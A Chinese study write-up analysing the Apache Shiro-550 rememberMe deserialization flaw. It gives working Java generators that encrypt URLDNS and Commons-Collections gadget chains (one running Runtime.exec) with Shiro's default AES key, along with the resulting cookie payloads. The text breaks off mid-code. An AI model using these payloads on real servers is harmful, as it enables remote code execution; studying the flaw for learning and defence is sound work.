shiro550
shiro 550反序列化
影响版本为 shiro 1.x < 1.2.5
https://su18.org/post/shiro-1/
先看了下b站的白日梦组长视频:https://www.bilibili.com/video/BV1iF411b7bD/?spm_id_from=333.999.0.0&vd_source=772372a8c6f216ba8975276dca04045e
分析
shift*2寻找cookie相关的类,找到CookieRememberMeManager
开始分析源码
看到CookieRememberMeManager.getRememberedSerializedIdentity
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
发现它会把cookie进行base664解码,得到字节数组然后return,那就find usage,看谁调用了这个函数
发现AbstractRememberMeManager.getRememberedPrincipals
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);//注意这里,它对getRememberedSerializedIdentity的返回值也就是base64解码后的值进行了调用,所以跟进去看一下这个函数
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
看到AbstractRememberMeManager.convertBytesToPrincipals对getRememberedSerializedIdentity的返回值(这里的bytes)也就是base64解码后的值进行了调用,所以跟进去看一下这个函数
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
看到convertBytesToPrincipals里面的decrypt,明显就是一个解码的函数,然后deserialize是和反序列化有关的
先跟进decrypt函数:
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
看到先是得到一个CipherService对象(应该是值得加密类型),然后进行解密,然后把解密结果转换为字节并返回,可以看到返回的serialized就是一个可以反序列化的结果,encrypted是传进来的cookiebase64解码后的结果,现在我们看CipherService这个类,以及getDecryptionCipherKey()这个函数得到的密钥
CipherService:
发现是一个接口,没看到什么有关加密类型的信息(其实这里我是想找AES相关的字样),那就看getCipherService():
public CipherService getCipherService() {
return cipherService;
}
跟进cipherService属性,getCipherService()和cipherService属性是在AbstractRememberMeManager类里面,看它的构造方法给cipherService赋值什么:
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
可以看到这里的cipherService=new AesCipherService(),那很明显就是使用AES进行加解密了
现在跟进getDecryptionCipherKey():
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
看构造方法怎么设置这个解密密钥的
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
跟进setCipherKey:
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
跟进setDecryptionCipherKey:
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}
可以看到这里给decryptionCipherKey属性赋值为传进来的key,我们传进来的key是setCipherKey(DEFAULT_CIPHER_KEY_BYTES),跟进DEFAULT_CIPHER_KEY_BYTES:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
看到kPH+bIxk5D2deZiIxcaaaA==就是key进行base64编码的结果,这里使用的是默认key
现在跟进convertBytesToPrincipals函数里面的deserialize:
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}
调用了getSerializer().deserialize(serializedIdentity),那就去看看getSerializer()返回的对象的deserialize方法:
最终还是要跟到构造函数:
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
跟进DefaultSerializer类,看到deserialize函数:
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();//调用readObject反序列化
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
利用思路
根据上述的分析,可以知道它这里会对cookie进行base64解码->AES解密->反序列化,而AES解密使用的是默认密钥:kPH+bIxk5D2deZiIxcaaaA==
那反序列化利用思路就是:找到一个反序列化链,然后对它序列化->AES加密->base64编码赋值给cookie,然后最终会反序列化达到恶意目的
所以我们遇到有shiro的应用时还需要看这个项目的依赖包:比如你要用cc链,就需要有这个依赖包才能反序列化攻击成功
构造payload
我们插件查看maven依赖
这里可以用commons-beanutils链,但是还没学过,先用urlDNS链验证,再去看commons-beanutils链
URLDNS链
package org.example;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
import java.util.Base64;
import static sun.security.x509.CertificateAlgorithmId.ALGORITHM;
public class shiro {
public static void main(String[] args) throws Exception {
HashMap ht = new HashMap();
String url = "http://9b677ede.log.dnslog.biz";
URLStreamHandler handler = new TestURLStreamHandler();
URL u = new URL(null,url,handler);
ht.put(u,url);
//Reflection
Class clazz = Class.forName("java.net.URL");
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
byte[] data = serialize(ht);
String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
SecretKey key = getKeyFromBase64(base64Key);
byte[] ivBytes = new byte[16];
new java.util.Random().nextBytes(ivBytes);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
//unserialize(bytes);
String p = getPayload(data,key,iv);
System.out.println(p);
}
private static SecretKey getKeyFromBase64(String base64Key) {
byte[] decodedKey = Base64.getDecoder().decode(base64Key);
return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
}
public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key, iv);
byte[] encrypted = cipher.doFinal(data);
// 将IV和加密后的数据一起编码为Base64字符串
byte[] combined = new byte[iv.getIV().length + encrypted.length];
System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
return Base64.getEncoder().encodeToString(combined);
}
// public static void serialize(Object object) throws Exception{
// ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
// o.writeObject(object);
// }
//
// public static void unserialize(String file) throws Exception{
// ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
// in.readObject();
// }
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(o);
byte[] bytes = bout.toByteArray();
oout.close();
bout.close();
return bytes;
}
public static Object unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bin);
return oin.readObject();
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
j0EheJoiX51nFqENBNbj9KDhR75SejUMu8gmdNJNCBvRZB4VcvSo0NhmlZe3pi+SpavLW6M83SQKLoHc0U66LJORSx1pkuYc3go4xvrQQZdnBLwfEkTstmLzA9Kz9FvLkBCUbdS+fpWHPT1rBjsGSjgUR5kza5yw41FPE6+I6wwfs2l759XRZEoLJLSx4NSF7Wtu3Q8DybfcSN6OU4NsPE7uCgPxj3O9bLNVBoU1oeNSOIUl8+0jZFLElqoP6R7i4MEGx4/PPQAOzzSx8mJr2wc9ygm32fL2V7K70cmf12xoZpN6mVJ/uxLkdrGgXIkxWnUylJORMOlwfFiWXX1rhZ4bWAHlF1357pswJkhhUWpSyTXWkko9iwoQdRBmaUqXLVzOSmb1ZMOqtLw6WdpN4pvU7qONj3MqEW4iWgaOiN4=
查看DNSLOG平台
cc4依赖无数组
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Base64;
import java.util.PriorityQueue;
public class shiroURLDNS {
public static void main(String[] args) throws Exception {
//链子(cc或者cb链)
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qs");
Field bytecode = templatesClass.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\javaSecurity\\ccTest\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = new byte[][]{code};
bytecode.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
//size需要为2
priorityQueue.add(templates);
priorityQueue.add(2);
Class t = TransformingComparator.class;
Field ftransformer = t.getDeclaredField("transformer");
ftransformer.setAccessible(true);
ftransformer.set(transformingComparator,invokerTransformer);
byte[] data = serialize(priorityQueue);
//shiro payload准备(把链子的序列化结果进行相应加密)
String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
SecretKey key = getKeyFromBase64(base64Key);
byte[] ivBytes = new byte[16];
new java.util.Random().nextBytes(ivBytes);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
//unserialize(bytes);
String p = getPayload(data,key,iv);
System.out.println(p);
}
private static SecretKey getKeyFromBase64(String base64Key) {
byte[] decodedKey = Base64.getDecoder().decode(base64Key);
return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
}
public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key, iv);
byte[] encrypted = cipher.doFinal(data);
// 将IV和加密后的数据一起编码为Base64字符串
byte[] combined = new byte[iv.getIV().length + encrypted.length];
System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
return Base64.getEncoder().encodeToString(combined);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(o);
byte[] bytes = bout.toByteArray();
oout.close();
bout.close();
return bytes;
}
public static Object unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bin);
return oin.readObject();
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
UoeoxfQJEgfrOb0LTqloLo6fRCAHyc1odxikGOYtU1EA6nWZbs5F6h9TRn7hMIzm/G1TqGa89tTDyVLEQRx835uc71Tk7VHGvxMjLyQRmjd/s31w75I+2KMGwz5JtoddXZih4nfSIbYMV6fGsh4BQrYYlH4I1hk7kz2lreJu8rIjWwnMXAApDjP/Im1IOJJ5M3Lvj3Sw/ygrZfZ/Ox+5xB2yQf0AdLx7JrkWmPAPAULejtGT2QeGn0AQTvhUPsYUu6BFUI4V2g0fUXHuCD72DLDOa4uhwg0EFe+WN42z3jmHtcVyGSdpSMst62q11kiOKqlgWlx90//ai2ABLAIj9NCWSKk5fStpl+YOlwKsr/QDRkmjOmIQXDv/KW84khuPHj1rhYa9wUo0HeR73ThjRpPMCmjbVNm3+kC+n8XzZ+LAHCW2Dk1Vauz91ibwwUQa084tqTY6xaKRt7lBTWMqmanHhQscn0R9Jbs65/3IOoyXpRLodkZjL3C4TqQjjanVWKIFz+e3Rdu/5MMpu91OBES6dOgYNOURsLSwGbImXEL5j2Wbott1g7djufCU0vs2ID7z20bttGsn1d5ooR4tIrj0ZI5n3S8amH3TTCS5n5V+EMaH61uDTXURHCG44TfNd5DVV4RkjXO9YW7hKbFf7lQiRpvYygFhKc4pjHe6yhDJiJmowLb2i6VETD4i2yfeiZfNp18oIr6Id1muccZmpE6fqk3yQs2KDM44JBQpPm6qNMMGVxTQX24ANm4mkkElc8S98wqn4MUchTO2NtmYzjVVY1wMvO42yu28fwV+6DDAd7L78Nji14QdAOrxAYZ7weuRd/lN7LLsRHH5AKSXlwfvjif81ZueQaYQeciF7HZ6wnMMXeS0JWroK+Ffgp86dUV9jTYu1zPc6poDrFU+5bE30UdYt2PKkMJ+EOvlEl1RqrNqDTRXs2j6cf3LIjRNutCl9lx2FZpij6+1WCUwsfNLeO9fyk8JTBda08RHEsQ1CDR4o3D+dt6rSZ7tSnszT6ufBZ723UCCYK6DvmBqklXjIOEi3kg128J44EKwd5nFduXpCLN0v8w7Dlq6vcvlkJrmwrEKr6Y9mmbfCEVsVQZnw+6eNd0ik1y1dSWFJfGuC30R06gPpwigrDCJitH0wmy0TEEDoYEDxJfm8JAY63FC2GPx4+tygiOZXLRLHYwLIXJI/4Otr2khYh9UE1yy/6Vw+O3YG6n+7YLeSz4RBfEplid/dCaY7MKoQjtzKzAO+VXEIM6r03PGAC75jZDSwqyzBqyJo/L2HGVGDYQfqD3R4G4LTO/TJTZTqUXObsqSzSQYAPdLBVt4uwvq5b0QaPznlKl+3E39PPoOAUz30XxzzFSzQ6SbwVIhYQC91SI33wg1sz8DiedVx0Ly2Me94K9EDuvcGbs4zH/YYvzomAT/CDDAnrQsTgUM9pWtso1Kehe1wKzhPEa6QKkO5bNTCZa84RN/kfFkv8iSzcdHpca1Uy8c1icCdAjX9X7fPQ14YvJheeIIZV+iRPFbl3YbCxHzoiH726lBMOosaeLjIl5rqifPpTh2QyDYUi6J/+uUFsqhnuNdK/JPFErFtxfVUKOHAd3VyGgU9FA0JFhbJ3aPh2EQRLsl5s8bfneK/qxo6c9R6dsCwYYZ3dksjVvyt87iml84bgLRr7mLHzYoJKaFNbtopvS32n+13ZDvqIHdZyJLKCp/Ew6N77tF1+c17M3nmk0hzB9u4dK792epcUbDyM7uZwrq6ECW0ObE5qUvygZ0drfiY9fG1ETJ/09I/IuvtJDSuj8kNF6VGynse6TVU6UdPAaFDFXBqZD+cIdpjd1ZCPQd3EKF1Yrx3ohAndNEAogrUauYYmbpmsXPadVcwkm0uhjKA/yK9wcQtCaFyGr3AGE+b8wvZFWVoZgfRcLX/C7Figb3NUTGD5LHF4TPGUzMcFzfAeCL2gf7VA22wQJqRHrg3RrE5Wv7Iqudq61xyn59IkzJGGFCxwpgYLQabA81HjSWYeLbPiJunWnmQ87mksK/lID166QJ1zUuR7v9dwVjfuSD0xq8x7uV5AKYkgcWNXMvC+xLkztof/B7iuyOWSmwRgE7fpUJGgZfi8vRE4RKO5pudvyIRqzPHcHsfwj2mgEYYdumtfFLgs0j/Be+zOLFLacifc87Idgk+mQAIsc+2P+qRgWCiR139o4GU/GhVuoek7Q684+fsYLMGgCz7tR/KeYYdrZaiU+JeK70GcEZkLPURR3nTRPV/GgaYK7K9J5Z9jNTJV6UzvyIr5Ka7chWp+l0QSo1/akvqUZvbdnDnQuhDa6LD9adr9VBZ6Hg5c34aH8t2zqZlw6q7HXqLasRpZNSXl/Irvnfz+2w0dYzbOSQj9M+ICs21b1quyRqAIBqrwajM/8ZhIBHm0zMDYgjWjO45vZnC41dpklwAal6/idxjNMb364EyLh5sQ2t2SSS5ulqtW0BvcQuibdzRmlnBxg7q3UjUY2kw1ArQlWWMzn9KmhsVxCVXuy5gbDFYcWG9tOq1gpRSbXIfjm28axXR4xFJjqAqczD278exrKCq0VBejr7UGqq4hlTk/HKZcuvYOlT1qmgDd7dnRYsAaJ9D3qyFMvY4os3xLlGH1TFA1QW9knu2sMWgzaiLf//D83vrSHheaco1Rims8Jrto2zB0qyEMyvfChq1ds5HpLGv3IHFkJqysVlTGp/wIo8Dmq4PpOIhud/gHLBKraVbbYS1FFTsLDIsBkojSVnC/qaan6hwjx7A74G0qmxVYzSDvgZYDpnXjdfkhyoA5M3VLFOXA+7sk0mEsHPtCcFYR3uFEN1LYIbnXo2GwM5ry2duHEmyUCEFZwOI51aTxtiHB6mqw9V04uX/bpcb2kO30qdwGmw5xdibyp+61DvATDDj52uzklML42pHTIzAM8tsSpzObPgckMXKBwdbUQolIb2jsxZeArnBUtSHeJY0HDgLqcoeL57JFsg4l/NlKzjAfY1/5yWXjZYi9e1DVoVCblbjGDYTU4xeEAe8SsDw8mDyrM2fFfXEpvf1tD2vyEmL5SYXw1ZlX9j7BmBXfvQcmDuuyMbsj49QgoY+CRGr3R5cSO3+cY4HDkY05E7D/QN0ZYVATtM6qx+DOAKsXfTbnUN1IoiVz646Z66lP1NhPWYsDDvAMOW4Vev5hsQ1kD/h783JnUGCywDOmYxiT5LyXCPNyP9FrG2R0OemrM+E4M8rkxlgh2AmynCAALLL56dbs8YWC/M1qj8mh50F997Hy/+TwIZqYYybBxe6Q==
cc4依赖有数组
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
public class shiroPayload {
public static void main(String[] args) throws Exception {
//链子(cc或者cb链)
org.apache.commons.collections4.Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(Runtime.class),
new org.apache.commons.collections4.functors.InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new org.apache.commons.collections4.functors.InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
org.apache.commons.collections4.functors.ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
//size需要为2
priorityQueue.add(1);
priorityQueue.add(2);
Class t = TransformingComparator.class;
Field ftransformer = t.getDeclaredField("transformer");
ftransformer.setAccessible(true);
ftransformer.set(transformingComparator,chainedTransformer);
byte[] data = serialize(priorityQueue);
//shiro payload准备(把链子的序列化结果进行相应加密)
String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
SecretKey key = getKeyFromBase64(base64Key);
byte[] ivBytes = new byte[16];
new java.util.Random().nextBytes(ivBytes);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
//unserialize(bytes);
String p = getPayload(data,key,iv);
System.out.println(p);
}
private static SecretKey getKeyFromBase64(String base64Key) {
byte[] decodedKey = Base64.getDecoder().decode(base64Key);
return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
}
public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key, iv);
byte[] encrypted = cipher.doFinal(data);
// 将IV和加密后的数据一起编码为Base64字符串
byte[] combined = new byte[iv.getIV().length + encrypted.length];
System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
return Base64.getEncoder().encodeToString(combined);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(o);
byte[] bytes = bout.toByteArray();
oout.close();
bout.close();
return bytes;
}
public static Object unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bin);
return oin.readObject();
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Rga+hvq0s/muAKnrnrqBQx7XChayNDVyZsADfmZ4oqMf8DpNrHTj5cQ4qLf6h9ALEjH2bPqMXo5ch2BRB6VX3LXQHGzJ8guOJF9wPGpsYfs4qArOg6Qc/QZuxcP7Y0GKKPRn/VYuIIb3UDJELmGL+yRBdJjc2AtKWP5K/JqxRWGP5JSVoNmgGlGT5nP+lnmUw/XeCSZ5ehSlvfQD/zx1liqNShNbc/G/T5lSvCOWNK3f/7FbIsngDXXPaTlOvqFFV+8jtsAdaFMMCajAjaC7tPccjOGh8vF+YBz+CeHFUK/15aeDr6hWwqqESWpYydld1o/VrxvDVsLOvkBCqypbHl4q0P95LYNHPJeerz2QGUFt1hY3vyxv71QMM1mZ4fMbFW12pF4jqZR2KbhLkxo4TeMwSo89NA1iPcdLo82JC5z0dCaA7XsEMaYJFJ5y35qY8qP6smWO1VhsOuhD4/6i+g2D1ORjYKxYsRkbZnfbNYCer1wCsWVCVlRDKWtLIBAxleDR1JsfReKlSBqnXd8OhrsXOjOhrTv6KCcJuqhnCKbEN1NLW7xKbBpKmfDWnLHA732+er9Svo+6bRle3gT2YOyyW5z9B4OS27NupCB/lofDoGtIc8PnxHDUd8FjaLxy6Glml3j77Q45z5AdICDPUd8H64Nxpv6om7+NA8jLhS7g7vsxm6ClIe2QNq+0Npv/y4ybLjzStPS7ohQQ3dvoEmgUtlfHqp6PqRn5nb/8Ko3gnDokF1uYL2smra1+rEyHw/5UTK7+QdA7h4mBN28KRPlaqqJgcj+5MlfzBKl2/usfA+rSS5TdsugHDtKv6I2vIQk3fk62i3+GcYGFQBCk1dgY2Rq+o+NEfGtvo/psHnmT7+Ry3zY0dnt4nOsZnS+Cymbokr9DWDzMx+D0+x65S6P55A7GQzE5RfQbdH18o7Duoe94Hx9ofaLGgkkSvrsHRBXaIIMQ6QG3nNfyY7fJ3u435D4lE6QfqPXi/SxIoPhInywpga69Pb2RfKH4/p6uJM1S5okSW5New2AHvcU/EbxLV1xdbC/RDKiybqkRt3zVjpFTryNzAufRsOVGm3rNCUzz135Q9LFYAkdGNQQRyWOJjRfQzUvGiL9e4zMATAGO5H/4jrTQrck/BNszQ9PY+bMdBIFK9JLgK6QbaRm5LVjgwXMWaC9m0/XRNyzzVTo2TJacZRl0omNxyqmiIunEWYGBeHs7z3GAC10mQywLtFzvrDEBg8U5Qa5Ftz2yraADOQAGvzi68tOug4j0MRj8jD9gxRR7UivEjQAYVZxgCHwfSz8OS2/LSJpw+dY5fYkqwbwHwb8bkDAL0Qn6IHwYpqgO8hbIIQYs5RFO6FWweMBmX+rdzAen+HP9Ry8AFFRKjQduP4gPi3pvVqik1Nzg+KXZSC6QloQBMh8CnqnxlEApXwjLX+udkz7Dcg3ZbVk4jCT4g+xtVRo5x1TISJWoywcB+L+lT84Thj4xxQJjyYGzHH+Vnn0qyfQpAp5Ab6A1+04fr1WpiIpMWeutD0M+9abKy+HbTgAYz+Sr21loQadk614bOoIJL/XitGvN19WX8+azzmFElVb1RCRyp9DnXFt5smKuC+vDQNqqT8Ztcz27xiu9QgXcREXIzjqImMnaANuwtdFWEVrw9khnN4BF
发现没有计算器弹出,报错:
有数组链失败原因
看报错大概原因就是所有类加载器都不能加载那个Transformer类
我们看到反序列化的地方:
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();//这里的readObject它是用的ClassResolvingObjectInputStream这个类里面的不是原生的
ois.close();
return deserialized;
} catch (Exception var6) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, var6);
}
}
}
跟进看ClassResolvingObjectInputStream的readObject与原生有什么不一样:
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
}
}
}
这里没看到重写readObject方法,它继承了ObjectInputStream(父类是原生的readObject),那问题在哪里,看到这里重写了resolveClass,跟进分析知道原生的readObject会间接调用resolveClass,而重写的resolveClass与ObjectInputStream.resolveClass的区别就在于一个是ClassUtils.forName来加载类,一个是直接Class.forName,这里反序列化会调用重写的resolveClass方法
跟进ClassUtils.forName:
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
结合报错可以知道,尝试了三种类加载器都加载不了,再次看视频说是:
- ClassLoader.loadClass不能加载数组类
- Class.forName可以加载数组类
- 具体是因为Tomcat的机制(不知道具体是什么机制)
cc2链+cc6链
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
public class shiroPayload {
public static void main(String[] args) throws Exception {
//链子(cc或者cb链)
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qs");
Field bytecode = templatesClass.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\javaSecurity\\ccTest\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = new byte[][]{code};
bytecode.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
